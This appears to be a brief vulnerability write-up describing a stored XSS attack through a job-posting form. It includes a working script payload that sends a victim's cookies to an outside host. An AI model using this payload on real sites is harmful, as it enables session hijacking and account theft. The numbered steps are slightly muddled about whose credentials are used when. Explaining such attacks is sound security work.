XSS attacks involve injecting malicious scripts into trusted websites, which are then executed on the browsers of unsuspecting users. These attacks can have a wide range of impacts, including:
- Unauthorized data access
- Website defacement or manipulation
- Session hijacking
- Malware propagation.
METHOD OF EXPLOITATION
The following steps illustrate a typical XSS attack scenario:
1. The attacker navigates to a vulnerable website (for example redacted.com) and identifies a job posting form.
2. The attacker crafts a malicious payload designed to retrieve the victim's cookie and inserts it into the job title field.
Demo Payload:
Code: Select all
<script>new Image().src=”http://yourpage.com/abc.php?output=”+document.cookie;</script>3. The attacker proceeds to log in using the victim's credentials and navigates to the job application section.
4. Upon submitting the job application, the attacker's malicious payload is executed, allowing the attacker to retrieve and capture the victim's cookie, thereby gaining unauthorized access to their account or sensitive information.